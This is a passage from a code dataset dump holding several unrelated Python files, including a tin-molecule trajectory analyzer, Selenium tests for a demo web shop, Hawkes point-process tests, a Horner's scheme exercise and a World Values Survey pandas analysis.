j in range(num_data_n):\n x += not_use_datetime.iloc[j]\n ans_n[j] = x / (j+1)\n\ndate_n = pd.DataFrame(date_n)\ndate_u = pd.DataFrame(date_u)\nans_n = pd.DataFrame(ans_n)\nans_u = pd.DataFrame(ans_u)\n\nans_n[\"datetime\"] = date_n\nans_u[\"datetime\"] = date_u\n\nans_n.set_index(\"datetime\",inplace=True)\nans_u.set_index(\"datetime\",inplace=True)\nans_n = ans_n.resample('M', label='left').mean().ffill()\nans_u = ans_u.resample('M', label='left').mean().ffill()\ndate_n = ans_n.index.values\ndate_u = ans_u.index.values\n\nif len(ans_n) < len(ans_u):\n date = ans_n.tail(1).index.date\n date = date + relativedelta(months=1)\n date = date[0].strftime(\"%Y-%m-%d\")\n date = datetime.datetime.strptime(date, '%Y-%m-%d')\n val = ans_n.tail(1)[0][0]\n df_tmp = pd.Series([val], index=[date])\n ans_n = pd.concat([ans_n, df_tmp])\n pd.to_datetime(date)\n date = np.datetime64(date)\n date_n = np.append(date_n, date)\n\nprint(ans_n)\nprint(date_n)\n\nsxmin='2011-03-01'\n#sxmin='2010-08-01'\nsxmax='2016-10-31'\nxmin = datetime.datetime.strptime(sxmin, '%Y-%m-%d')\nxmax = datetime.datetime.strptime(sxmax, '%Y-%m-%d')\n#plt.xlim(xmin, xmax)\nplt.ylim(-0.05, 1.05)\n\nplt.plot(date_n, ans_n, marker=\"o\", label=\"時系列を考慮しなかった場合\")\nplt.plot(date_u, ans_u, marker=\"x\", linestyle=\"dashed\", label=\"時系列を考慮した場合\")\nplt.xticks(fontsize=16)\nplt.yticks(fontsize=16)\nplt.gca().xaxis.set_major_formatter(mdates.DateFormatter('%Y-%m'))\nplt.gca().xaxis.set_major_locator(mdates.MonthLocator(interval=6))\nplt.gca().xaxis.set_minor_locator(mdates.MonthLocator(interval=1))\nplt.gca().tick_params(width = 2, length = 10)\nplt.legend(fontsize=20)\n\n# y軸のラベル\nplt.xticks(rotation=90)\nplt.ylabel(\"正解率\", fontsize=16)\n\nplt.grid(which='major',color='black',linestyle='--')\n\n# 表示する\nplt.show()\n","sub_path":"scripts/evaluation_accuracy/pickle_plot.py","file_name":"pickle_plot.py","file_ext":"py","file_size_in_byte":2709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"256768483","text":"\"\"\"Schema lui Horner\"\"\"\n\"\"\"Test laborator:\nS. Horner:\nn=5\nP(n)=2n**5-3n**4+4*n+7\n:(x-2)\nCAtul:2x**4+x**3+2x**2+4x+12\nRestul: 31\"\"\"\nfrom numpy import zeros\nn = eval(input('n='))\na = zeros((n+1), dtype=int)\nb = zeros((n+1), dtype=int)\nfor i in range(0,n+1):\n print('a[', i, ']=')\n a[i] = eval(input())\nc=int(input('c='))\nb[0]=a[0]\nfor i in range(1,n+1):\n b[i] = c*b[i-1]+a[i]\nprint(\"Coeficientii catului sunt: \", end='')\nfor i in range(0,n):\n print(b[i], end='')\nprint(\"Restul este: \", b[n])","sub_path":"generate_nr_from_4/schema_lui_horner.py","file_name":"schema_lui_horner.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"582422107","text":"import sys\nimport json\nimport re\n\ndef get_versions() -> (str, str):\n version_f90 = sys.stdin.read()\n version_number = re.search(r\"version=([0-9\\.]+)\", version_f90).group(1)\n revision_res = re.search(r\"revision=(\\d+)\", version_f90)\n svn_revision = revision_res.group(1) if revision_res else None\n return version_number, svn_revision\n\nif __name__ == '__main__':\n\n version_number, svn_revision = get_versions()\n docset_version = \"%s (r%s)\" % (version_number, svn_revision) if svn_revision else version_number\n\n with open('build/docset.json', 'w', encoding='utf8') as fp:\n json.dump({\n \"name\": \"Quantum ESPRESSO\",\n \"version\": docset_version,\n \"archive\": \"QuantumESPRESSO.tgz\",\n \"author\": {\n \"name\": \"Chenxing Luo\",\n \"link\": \"https://github.com/chazeon\"\n },\n \"aliases\": [\"qe\", \"quantum-espresso\"]\n }, fp, indent=4)\n\n with open('build/meta.json', 'w', encoding='utf8') as fp:\n json.dump({\n \"name\": \"QuantumESPRESSO\",\n \"revision\": \"0\",\n \"title\": \"Quantum ESPRESSO\",\n \"version\": docset_version\n }, fp, indent=4)\n","sub_path":"src/gen_version.py","file_name":"gen_version.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"202749765","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Nov 15 03:43:52 2014\n\n@author: GEOS_SS1\n\"\"\"\n\ndef long_substr(data):\n substr = ''\n if len(data) > 1 and len(data[0]) > 0:\n for i in range(len(data[0])):\n for j in range(len(data[0])-i+1):\n if j > len(substr) and is_substr(data[0][i:i+j], data):\n substr = data[0][i:i+j]\n return substr\n\ndef is_substr(find, data):\n if len(data) < 1 and len(find) < 1:\n return False\n for i in range(len(data)):\n if find not in data[i]:\n return False\n return True\n \n#print long_substr(['Oh, hello, my friend.',\n# 'I prefer Jelly Belly beans.',\n# 'When hell freezes over!'])\nprint","sub_path":"Scripts/randomekek.py","file_name":"randomekek.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"164289316","text":"#!/usr/bin/env python\n\n''' ANALYZE MOVIES\nworking in anaconda WITH python 3.6.5\nPROGRAM DO GEOMETRY ANALYSIS OF MOVIE-LIKE (in XYZ format) FILES\n\nFOR ANY MOLECULAR SYSTEM ONLY /natoms & molecule/ VARABLES NEED TO BE MODIFIED IN FUNCTION input_check() TO GET DISTANCE MATRICES\n\n1/ EACH FILE IS CHECKED IF IT IS COMPLETE (NUMBER OF LINE MUST MATCH NATOMS+2 CRITERIA) :: def geoms_check\n2/ GO THROUGH EACH MOVIE ONE BY ONE GEMEOTRY -> CREATE DISTANCE MATRIX // should be fast according to measuring of walltime\n3/ PROCESS DISTANCE MATRIX ACCORDING TO PARTICULAR SYSTEM (ANALYSIS IS ALWAYS DIFFERENT AND DEPENDS ON POSSIBLE REACTION CHANNEL) \n\n- TO DO - CREATE CLUSTERING ALGORITHM INDEPENDENT OF SYSTEM WHICH WILL FIND MOLECULAR FRAGMENT/SEPARATE MOLECULES \n- IF DISTANCE MATRICES ARE STORED FOR FUTURE USE, JAGGED MATRICES MIGHT BE BETTER AND SAVE SOME MEMORY INSTEAD OF USING THE FULL NATOMS X NATOMS DISTANCE MATRIX (especial for dense, low timestep simulations)\n'''\nimport math\nimport sys\nimport numpy as np\nimport random\nimport time\nimport os\nimport subprocess\nimport string\nimport itertools\nimport csv\n##############################################\n##############################################\n##############################################\n\nnp.set_printoptions(linewidth = 150) # avoid text wrapping in console when printing np.array for checks\n\ndef input_check():\n global molecule,natoms,results_file # same number and molecule for all movies and geoms\n if len(sys.argv) < 3:\n print(\"Error: not enought parameters.\\nUsage: python \",sys.argv[0],\" th/tm/molecule movie.xyz movie2.xyz....\")\n sys.exit(1)\n\n movies = []\n lines = []\n geoms = []\n molecule = sys.argv[1] # TMTH or THMS\n movs = sys.argv[3:] # list of movies to process\n results_file = sys.argv[2] # file used for saving final data\n \n ##### MODIFIE HERE FOR SPECIFIC MOLECULE: #####\n if molecule == \"tm\":\n lines_per_mol = 17\n natoms = 15\n elif molecule == \"th\":\n lines_per_mol = 13\n natoms = 11\n else: sys.exit(\"Wrong system (tm/th)\")\n \n print('Number of movie files requested:', len(sys.argv)-2)\n\n for mov in movs:\n cwd = os.getcwd()\n movie_path = os.path.join(cwd,mov)\n\n if os.path.isfile(movie_path):\n movies.append(movie_path)\n gc = geoms_check(movies[-1],lines_per_mol) #no need to specify order\n #print(gc)\n lines.append(gc[0])\n geoms.append(gc[1])\n print(mov,' OK, Nlines: ', lines[-1], 'Ngeoms: ', geoms[-1])\n else:\n print(mov ,' File NOT EXISTS.') \n print('File check finished.',\"\\n\",'##########FILES:############################')\n return molecule,movies,geoms\n#end input check\n\ndef geoms_check(mov,lines_per_mol): # fast number_of_lines_ reader exploiting limited buffer \n lines = 0\n geoms = 0\n buf_size = 1024 * 1024\n with open(mov,'r') as f:\n read_f = f.read\n buf = read_f(buf_size)\n while buf:\n lines += buf.count('\\n') \n #\\n) is left at the end of the string, and is only omitted on the last line of the file\n buf = read_f(buf_size)\n f.close()\n if not (lines % lines_per_mol): geoms = lines / lines_per_mol # 0 FALSE\n else:\n print('Nlines is not divisible by l_p_m: ',lines, lines_per_mol, mov)\n print('Check if there is empty line at the end of the file \\n')\n sys.exit(1)\n return lines,geoms\n\n# MAIN ROUTINE TO GO THROUGH EACH MOVIE - READ XYZ, CALCULATE DISTANCE, ANALYZE GEOMETRY\ndef process_movies(movies,geoms):\n \"\"\"\n Expecting .xyz file \n first line = natoms\n second line = comment + time/timestep information, might require change in timestep assingment split index []\n \"\"\"\n analyzed_geoms = np.array([[0, 0]]) # main array with time and reaction channel for each geometry\n for m,mov in enumerate(movies): # iterate over movies\n print(\"Processing \",m+1,\"movie: \",mov)\n with open(mov,'r') as f:\n \n for g in range(1,int(geoms[m])+1): # iterate over geoms in each mov file, first index is inclusive, last exclusive!\n #natoms = int(f.readline())\n atoms = f.readline() # atoms\n timestep = f.readline().split()[2] # comment + time \n if g == 1:\n xyz = np.zeros(shape=(natoms,3))\n if os.path.isfile(os.path.join(os.getcwd(),'dist_mat.dat')): os.remove('dist_mat.dat') \n #print('geometry: ',g)\n\n for at in range(0,natoms): # iterate over atoms in each geometry\n line = f.readline().split()\n xyz[at]=[float(line[1]),float(line[2]),float(line[3])]\n #print(time,\"\\n\",xyz)\n \n dist_mat = distance_matrix(xyz) #cal dist matrix\n \n ##### MODIFIE HERE FOR SPECIFIC MOLECULE: #####\n if molecule == \"tm\" : channel = analyze_tm(dist_mat)[0] # analyze geometry\n elif molecule == \"th\" : channel = analyze_th(dist_mat)[0] \n \n analyzed_geoms = np.append(analyzed_geoms, [[int(timestep),int(channel)]], axis = 0) # save analyzed data for statistics\n f.close()\n \n return(analyzed_geoms)\n \n# DISTANCE MATRIX\ndef distance_matrix(xyz): \n# all combinations of pairs: list(itertools.combinations(range(natoms),2)) - yet still need to loop over two-indices to call dist func brute force number of combinations len(<-)\n# with open('dist_mat.dat','a') as file_dist_save: # save dist_mat in file for check if needed\n# np.savetxt(file_dist_save, dist_mat, newline='\\n', fmt='%.8e',footer =\" \")\n dist_mat = np.zeros(shape=(natoms-1,natoms)) # create empty dist matrix - matrix is not stored for future\n for k in range(0,natoms):\n for l in range(k+1,natoms):\n v1, v2 = np.array(xyz[k]), np.array(xyz[l])\n dist = [(a - b)**2 for a, b in zip(v1, v2)]\n dist_mat[k][l] = math.sqrt(sum(dist))\n # print(v1,v2,l,k) # combination check\n\n return dist_mat\n\n###############################################\n#ConstantS - CRITERIA FOR GEOMETRY ANALYSIS \nH_diss_dist = 3.000 \nOO_bond_dist = 4.500\nCH_bond_dist = 3.000\nHH_bond_dist = 1.500 \nSnH_bond_dist = 3.000\nSnX_bond_dist = 5.000 # x = C or O \n###############################################\n\n# GEOMETRY ANALYSIS \ndef analyze_th(dist_mat):\n#print(molecule,natoms)\n channel = 0\n me_diss = 0\n oh_diss = 0\n h_diss = 0 # number of dissciated hydrogen atom\n h_diss_index = [] # which H atoms are dissociated\n h_bonds = [] # list of X - H bonds to test for shortest distance \n h_ats_on_heavies = [0,0,0,0,0] # how many H atoms are on each heavy atom\n \n for hydrogen_atom in range(5,natoms):\n for heavy_atom in range(0,5): # last index excluded, upper diagonal l matrix, first index < second one\n h_bonds.append(dist_mat[heavy_atom][hydrogen_atom])\n #print(hydrogen_atom,heavy_atom,\" : \",dist_mat[heavy_atom][hydrogen_atom])\n \n shortest_bond = min((j,i) for i,j in enumerate(h_bonds)) # find the smallest bod and print heavy atom related to it, enumerate over heavy atoms 0 - 5\n h_bonds.clear() # dont need anymore \n \n #1a) how many hydrogens are on each heavy atom\n if shortest_bond[0] < H_diss_dist: \n h_ats_on_heavies[shortest_bond[1]] = h_ats_on_heavies[shortest_bond[1]] + 1\n else : \n h_diss = h_diss + 1 \n h_diss_index.append(shortest_bond[1])\n if h_diss >= 2: \n print(\"#### 2 diss H CAREFULL\")\n # print(\"O,Sn,O,C,O: \",h_ats_on_heavies) \n \"\"\"\n atom order:\n 0 O Sn-C = 1,2\n 1 Sn \n 2 O Sn-O = 1,2\n 3 C Sn-C = 1,3\n 4 O Sn-O = 1,4\n 5-11 H\n\n Channels:\n 0 nothing happened\n 1 1 Methyl diss\n 2 1 OH diss \n 3 2 OH diss \n 4 OH + Methyl diss\n 5 Methyl + 2 or more OH diss\n 6 H diss + komplex\n 7 H diss (komplex + O + H)\n 8 H diss (komplex + CH2 + H)\n 9 3 OH diss\n \"\"\"\n if h_ats_on_heavies[1] > 0: exit(\"########## H transfer to Sn, check!!!!! #####\")\n \n if dist_mat[1][3] > SnX_bond_dist: \n me_diss = me_diss + 1\n \n if dist_mat[0][1] > SnX_bond_dist: \n oh_diss = oh_diss + 1\n if (me_diss == 0 and h_ats_on_heavies[0] == 0) : channel = 7 \n \n if dist_mat[1][2] > SnX_bond_dist: \n oh_diss = oh_diss + 1 \n if (me_diss == 0 and h_ats_on_heavies[2] == 0) : channel = 7 \n \n if dist_mat[1][4] > SnX_bond_dist: \n oh_diss = oh_diss + 1\n if (me_diss == 0 and h_ats_on_heavies[4] == 0) : channel = 7 \n \n if h_diss == 0:\n if me_diss == 0: \n if oh_diss == 1: channel = 2 \n if oh_diss == 2: channel = 3\n if oh_diss == 3: channel = 9\n elif me_diss == 1:\n if oh_diss == 0: channel = 1 \n elif oh_diss == 1: channel = 4 \n elif oh_diss == 2: channel = 5 \n elif oh_diss == 3: channel = 5\n elif h_diss == 1:\n if (me_diss == 0 and oh_diss == 0): channel = 6\n if (me_diss == 1 and oh_diss == 0 and h_ats_on_heavies[3] == 2) : channel = 8 #H from CH3 group \n # print(' channel,h_diss,me_diss,oh_diss,sum(h_ats_on_heavies:',channel,h_diss,me_diss,oh_diss,sum(h_ats_on_heavies)) \n # print(\"----------------------------------\")\n return channel,h_diss\n\n# GEOMETRY ANALYSIS \ndef analyze_tm(dist_mat):\n \"\"\"\n atom order:\n 0 Sn \n 1 C Sn-C = 1,2\n 2 C Sn-C = 1,3\n 3 C Sn-C = 1,4\n 4 O Sn-O = 1,5\n 5-14 H\n \"\"\"\n#1) WHERE ARE HYDROGEN ATOMS\n\n channel = 0\n h_diss = 0 # number of dissciated hydrogen atom\n h_diss_index = [] # which H atoms are dissociated\n h_bonds = [] # list of X - H bonds to test for shortest distance \n h_ats_on_heavies = [0,0,0,0,0] # how many H atoms are on each heavy atom\n \n for hydrogen_atom in range(5,natoms):\n for heavy_atom in range(0,5): # last index excluded, upper diagonal l matrix, first index < second one\n h_bonds.append(dist_mat[heavy_atom][hydrogen_atom])\n #print(hydrogen_atom,heavy_atom,\" : \",dist_mat[heavy_atom][hydrogen_atom])\n \n shortest_bond = min((j,i) for i,j in enumerate(h_bonds)) # find the smallest bod and print heavy atom related to it, enumerate over heavy atoms 0 - 5\n h_bonds.clear() # dont need anymore \n \n #1a) how many hydrogens are on each heavy atom\n if shortest_bond[0] < H_diss_dist: \n h_ats_on_heavies[shortest_bond[1]] = h_ats_on_heavies[shortest_bond[1]] + 1\n else : \n h_diss = h_diss + 1 \n h_diss_index.append(shortest_bond[1])\n if h_diss >= 2: \n print(\"2 diss H CAREFULL\")\n #print(\"Sn,C,C,C,O: \",h_ats_on_heavies) \n if h_ats_on_heavies[0] > 0: exit(\"########## H transfer to Sn, check!!!!! #####\")\n#2) Where are the heavy atoms \n oh_diss = 0 # OH group diss 0/1\n me_diss = 0 # Methyl group diss / if h_diss = 0 otherwise CH2, CH1 possible\n \n # Sn-O\n if dist_mat[0][4] > SnX_bond_dist: oh_diss = oh_diss + 1\n \n # Sn-C\n for heavy_atom in range(1,4): \n if dist_mat[0][heavy_atom] > SnX_bond_dist: \n me_diss = me_diss + 1\n if (oh_diss == 0 and h_ats_on_heavies[heavy_atom] == 2) : channel = 8\n\n\n \"\"\"\n Channels:\n 0 nothing happened\n 1 1 Methyl diss\n 2 1 OH diss \n 3 2 Methyl diss \n 4 OH + Methyl diss\n 5 OH + 2 or more Methyl diss\n 6 H diss + komplex\n 7 H diss (komplex + O + H)\n 8 H diss (komplex + CH2 + H)\n 9 3 Methyl diss\n \"\"\" \n if h_diss == 0:\n if oh_diss == 0: \n if me_diss == 1: channel = 1 \n elif me_diss == 2: channel = 3 \n elif me_diss == 3: channel = 9 \n elif oh_diss == 1:\n if me_diss == 0: channel = 2 \n elif me_diss == 1: channel = 4 \n elif me_diss == 2: channel = 5 \n elif me_diss == 3: channel = 5\n elif h_diss == 1:\n if (me_diss == 0 and oh_diss == 0): channel = 6\n if (me_diss == 0 and oh_diss == 1 and h_ats_on_heavies[4] == 0) : channel = 7 #H from O group \n #print(' channel,h_diss,me_diss,oh_diss,sum(h_ats_on_heavies:',channel,h_diss,me_diss,oh_diss,sum(h_ats_on_heavies)) \n #print(\"----------------------------------\")\n \n #if channel == 9: print(\"unknown geom or nothing happened\") \n return channel,h_diss \n \ndef channel_statistics(analyze_geoms):\n \"\"\"\n MODIFIE PARAMETERS FOR EACH TYPE OF MOLECULE (n_channels)\n nstep, timestep depends on simulation number of steps (e.g. nsteps in input.in)\n \"\"\"\n AU_TO_FS = 0.024189\n n_channels = 10\n n_steps = 2100 + 1 # number of simulation steps, +1 since upper limit index is exluded\n timestep = 10 # \n procentual = 1 # 0 - 1 or 0-100\n \n channel_pop = np.zeros(shape=(n_steps,n_channels)) # 2D array, 0 column time, rest {1,n_channel} are channels\n #totpop = np.zeros(shape=(n_steps)) # no need to store totpop in each step\n print(\"Total number of geoms: \",len(analyze_geoms)-1)\n for rec in range(1,len(analyze_geoms)): # first row is 0,0 entry from array init\n channel = int(analyze_geoms[rec][1])\n step = int(analyze_geoms[rec][0])\n time = (step * timestep) * AU_TO_FS\n channel_pop[step][channel] = channel_pop[step][channel] + 1 \n for step in range(1,n_steps): \n totpop = sum(channel_pop[step])\n time = (step * timestep) * AU_TO_FS\n for chan in range(0,n_channels):\n channel_pop[step][chan] = (channel_pop[step][chan]/totpop) * procentual \n line = ( str('%.4f ' %time) + (\" \".join(\"%.3f\" %n for n in channel_pop[step])) + \"\\n\")\n \n #WRITE EACH LINE\n with open(results_file, 'a') as res_file:\n res_file.write(line)\n res_file.close()\n \n##############################################\n ########## MAIN ##########\n##############################################\n\nmolecule,movies,geoms=input_check()\nprint(\"Molecule: \",molecule,\"\\n Geoms: \",geoms)\nprint(\"#######################\\n\")\n\nanalyze_geoms = process_movies(movies,geoms) # np.array returning time, channel over all geoms\n#print(analyze_geoms)\nstatistic = channel_statistics(analyze_geoms)\n\n\n\n#distance_matrix(movies)\n","sub_path":"tin-analyzer.py","file_name":"tin-analyzer.py","file_ext":"py","file_size_in_byte":14908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"335752011","text":"import pytest\nimport time\n\nfrom .pages.basket_page import BasketPage\nfrom .pages.product_page import ProductPage\nfrom .pages.login_page import LoginPage\n\nproduct_url = \"http://selenium1py.pythonanywhere.com/catalogue/coders-at-work_207/\"\nregistration_url = \"http://selenium1py.pythonanywhere.com/accounts/login/\"\n\n\n@pytest.mark.login\nclass TestLoginFromProductPage:\n @pytest.fixture(scope=\"function\", autouse=True)\n def setup(self):\n self.link = product_url\n yield\n pass\n\n @pytest.mark.need_review\n def test_guest_can_go_to_login_page_from_product_page(self, browser):\n page = ProductPage(browser, self.link)\n page.open()\n page.go_to_login_page()\n login_page = LoginPage(browser, browser.current_url)\n login_page.should_be_login_page()\n\n def test_guest_should_see_login_link(self, browser):\n page = ProductPage(browser, self.link)\n page.open()\n page.should_be_login_link()\n\n\nclass TestUserAddToBasketFromProductPage:\n\n @pytest.fixture(scope=\"function\", autouse=True)\n def setup(self, browser):\n page = LoginPage(browser, registration_url)\n page.open()\n email = str(time.time()) + \"@fakemail.org\"\n page.register_new_user(email, \"test_password\")\n page.should_be_authorized_user()\n\n def test_user_cant_see_success_message(self, browser):\n page = ProductPage(browser, product_url)\n page.open()\n page.is_result_messages_not_present()\n\n @pytest.mark.need_review\n def test_user_can_add_product_to_basket(self, browser):\n page = ProductPage(browser, product_url+\"?promo=offer1\")\n page.open()\n page.should_be_product_page()\n page.add_to_basket_page()\n page.solve_quiz_and_get_code()\n page.should_be_success_added_page()\n\n\n@pytest.mark.need_review\n@pytest.mark.parametrize('link', [product_url + \"?promo=offer0\",\n product_url + \"?promo=offer1\",\n product_url + \"?promo=offer2\",\n product_url + \"?promo=offer3\",\n product_url + \"?promo=offer4\",\n product_url + \"?promo=offer5\",\n product_url + \"?promo=offer6\",\n pytest.param(product_url + \"?promo=offer7\", marks=pytest.mark.xfail),\n product_url + \"?promo=offer8\",\n product_url + \"?promo=offer9\"])\ndef test_guest_can_add_product_to_basket(browser, link):\n page = ProductPage(browser, link)\n page.open()\n page.should_be_product_page()\n page.add_to_basket_page()\n page.solve_quiz_and_get_code()\n page.should_be_success_added_page()\n\n\n@pytest.mark.xfail\ndef test_guest_cant_see_success_message_after_adding_product_to_basket(browser):\n page = ProductPage(browser, product_url)\n page.open()\n page.add_to_basket_page()\n page.is_result_messages_not_present()\n\n\ndef test_guest_cant_see_success_message(browser):\n page = ProductPage(browser, product_url)\n page.open()\n page.is_result_messages_not_present()\n\n\n@pytest.mark.xfail\ndef test_message_disappeared_after_adding_product_to_basket(browser):\n page = ProductPage(browser, product_url)\n page.open()\n page.add_to_basket_page()\n page.is_result_messages_disappeared()\n\n\n@pytest.mark.need_review\ndef test_guest_cant_see_product_in_basket_opened_from_product_page(browser):\n page = ProductPage(browser, product_url)\n page.open()\n page.go_to_basket()\n basket_page = BasketPage(browser, browser.current_url)\n basket_page.should_be_empty()\n","sub_path":"test_product_page.py","file_name":"test_product_page.py","file_ext":"py","file_size_in_byte":3679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"34440708","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport numpy as np\n\nimport matplotlib.pyplot as plt\nfrom stppg import HawkesLam, SpatialTemporalPointProcess, StdDiffusionKernel, GaussianDiffusionKernel, GaussianMixtureDiffusionKernel\nfrom utils import plot_spatio_temporal_points, plot_spatial_intensity, plot_spatial_kernel, DataAdapter\n\ndef test_std_diffusion():\n '''\n Test Spatio-Temporal Point Process Generator equipped with \n standard diffusion kernel\n '''\n # parameters initialization\n mu = .1\n kernel = StdDiffusionKernel(C=1., beta=1., sigma_x=.1, sigma_y=.1)\n lam = HawkesLam(mu, kernel, maximum=1e+3)\n pp = SpatialTemporalPointProcess(lam)\n\n # generate points\n points, sizes = pp.generate(\n T=[0., 10.], S=[[-1., 1.], [-1., 1.]], \n batch_size=100, verbose=True)\n print(points)\n print(sizes)\n\n # read or save to local npy file.\n # points = np.load('results/tf_thining_samples.npy')\n np.save('results/hpp_Feb_25.npy', points)\n\n # plot intensity of the process over the time\n plot_spatial_intensity(lam, points[0], S=[[0., 10.], [-1., 1.], [-1., 1.]],\n t_slots=1000, grid_size=50, interval=50)\n\ndef test_gaussian_diffusion():\n '''\n Test Spatio-Temporal Point Process Generator equipped with \n Gaussian diffusion kernel\n '''\n mu = .1\n kernel = GaussianDiffusionKernel(\n layers=[5, 5], C=1., beta=1., \n SIGMA_SHIFT=.2, SIGMA_SCALE=.05, MU_SCALE=.1, is_centered=True)\n lam = HawkesLam(mu, kernel, maximum=1e+3)\n pp = SpatialTemporalPointProcess(lam)\n print(kernel.Ws)\n print(kernel.bs)\n\n # plot kernel parameters over the spatial region.\n plot_spatial_kernel(\"results/kernel.pdf\", kernel, S=[[-1., 1.], [-1., 1.]], grid_size=50)\n\n # generate points\n points, sizes = pp.generate(\n T=[0., 10.], S=[[-1., 1.], [-1., 1.]], \n batch_size=2, verbose=True)\n print(points)\n print(sizes)\n\n # read or save to local npy file.\n # points = np.load('results/free_hpp_Mar_15_layer_5.npy')\n # np.save('results/gaussian_hpp_Mar_15_layer_5.npy', points)\n\n # plot intensity of the process over the time\n plot_spatial_intensity(lam, points[0], S=[[0., 10.], [-1., 1.], [-1., 1.]],\n t_slots=1000, grid_size=50, interval=50)\n\ndef test_random_gaussian_mixture_diffusion():\n '''\n Test Spatio-Temporal Point Process Generator equipped with \n random Gaussian mixture diffusion kernel\n '''\n mu = .2\n kernel = GaussianMixtureDiffusionKernel(\n n_comp=5, layers=[5, 5], C=1., beta=1., \n SIGMA_SHIFT=.2, SIGMA_SCALE=.05, MU_SCALE=.05)\n lam = HawkesLam(mu, kernel, maximum=1e+3)\n pp = SpatialTemporalPointProcess(lam)\n\n # generate points\n points, sizes = pp.generate(\n T=[0., 10.], S=[[-1., 1.], [-1., 1.]], \n batch_size=2, verbose=True)\n print(points.shape)\n print(sizes)\n\n # read or save to local npy file.\n # points = np.load('results/free_hpp_Mar_15_layer_5.npy')\n # np.save('results/gaussian_hpp_Mar_15_layer_5.npy', points)\n\n # plot intensity of the process over the time\n plot_spatial_intensity(lam, points[0], S=[[0., 10.], [-1., 1.], [-1., 1.]],\n t_slots=1000, grid_size=50, interval=50)\n\ndef test_pretrain_gaussian_mixture_diffusion():\n '''\n Test Spatio-Temporal Point Process Generator equipped with \n pretrained Gaussian mixture diffusion kernel\n '''\n params = np.load('data/ambulance_mle_gaussian_mixture_params.npz')\n mu = params['mu']\n beta = params['beta']\n kernel = GaussianMixtureDiffusionKernel(\n n_comp=5, layers=[5], C=1., beta=beta, \n SIGMA_SHIFT=.05, SIGMA_SCALE=.2, MU_SCALE=.01,\n Wss=params['Wss'], bss=params['bss'], Wphis=params['Wphis'])\n lam = HawkesLam(mu, kernel, maximum=1e+3)\n pp = SpatialTemporalPointProcess(lam)\n\n # # generate points\n # points, sizes = pp.generate(\n # T=[0., 10.], S=[[-1., 1.], [-1., 1.]], \n # batch_size=2, verbose=True)\n # print(points.shape)\n # print(sizes)\n\n # read or save to local npy file.\n points = np.load('data/ambulance.perday.npy')\n da = DataAdapter(init_data=points)\n points = da.normalize(points)\n # np.save('results/gaussian_hpp_Mar_15_layer_5.npy', points)\n print(points[0].shape)\n\n # plot intensity of the process over the time\n plot_spatial_intensity(lam, points[0], S=[[0., 10.], [-1., 1.], [-1., 1.]],\n t_slots=1000, grid_size=50, interval=50)\n\n\nif __name__ == '__main__':\n np.random.seed(1)\n np.set_printoptions(suppress=True)\n\n test_pretrain_gaussian_mixture_diffusion()\n\n # T = [0., 10.]\n # S = [[-1., 1.], [-1., 1.]]\n\n # mu = .1\n # # kernel = StdDiffusionKernel(C=1., beta=1., sigma_x=.08, sigma_y=.08)\n # kernel = GaussianMixtureDiffusionKernel(\n # n_comp=5, layers=[5], \n # beta=1., C=1., SIGMA_SHIFT=.1, SIGMA_SCALE=.15, MU_SCALE=.1,\n # Wss=None, bss=None, Wphis=None)\n # lam = HawkesLam(mu, kernel, maximum=1e+3)\n # pp = SpatialTemporalPointProcess(lam)\n\n # points = np.load('data/apd.crime.perday.npy')\n # print(len(np.nonzero(points[0, :, 0])[0]))\n # print(points[0])\n\n # plot_spatial_intensity(lam, points[0], S=[[0., 10.], [-1., 1.], [-1., 1.]],\n # t_slots=1000, grid_size=50, interval=100)\n\n # # t = np.array([10])\n # # s = np.array([1,1])\n # # his_t = np.array([1, 2, 3])\n # # his_s = np.array([[.1, .2] ,[.2, .3], [.3, .4]])\n # # kernel.nu(t, s, his_t, his_s)","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"326233981","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nWorld Value Survey\r\nBrincando com os dados\r\nGerson Vasconcelos\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\nimport os\r\nimport numpy as np\r\n\r\nos.listdir() #listar o diretório atual\r\n\r\nwvs = pd.read_csv('WV6_Data_ascii_v_2015_04_18.dat',\r\n header = None)\r\n# parametro header = None diz que não há nome para as variáveis\r\n\r\n\r\nwvs.shape # tamanho do banco\r\nwvs.columns # nome das colunas\r\n\r\n# 76 é brasil e 2 argelia, quantidade de entrevistados no brasil e na argelia\r\nwvs.loc[(wvs[1] == 76) | \r\n (wvs[2] == 12), 1].value_counts()\r\n\r\n# 9 é a variável ser feliz, transformando em NaN (sao variaveis que nao foram respondidas #checar dict de var)\r\nwvs.loc[wvs[10] == -2, 10] =np.nan\r\nwvs.loc[wvs[10] == -5, 10] =np.nan\r\nwvs.loc[wvs[10] == -1, 10] =np.nan\r\n\r\n# quantidade de pessoas que responderam sobre felicidade\r\nwvs[10].value_counts()\r\n\r\n# em porcentagem, arredondamos para 2 casas decimais também\r\nround(((wvs[10].value_counts()/\\\r\nwvs[10].value_counts().sum()) * 100), 2)\r\n\r\n# onde as pessoas sao mais felizes, Brasil(variavel 76) ou EUA (variavel 840)\r\n\r\n#brasil\r\nround(((wvs.loc[wvs[1] == 76, 10].value_counts() /\\\r\nwvs.loc[wvs[1] == 76, 10].value_counts().sum()) * 100), 2)\r\n\r\n#eua\r\nround(((wvs.loc[wvs[1] == 840, 10].value_counts() /\\\r\nwvs.loc[wvs[1] == 840, 10].value_counts().sum()) * 100), 2)\r\n\r\n# comparando as média de felicidade entre BRA e EUA\r\nwvs.loc[wvs[1] == 840, 10].mean()\r\nwvs.loc[wvs[1] == 76, 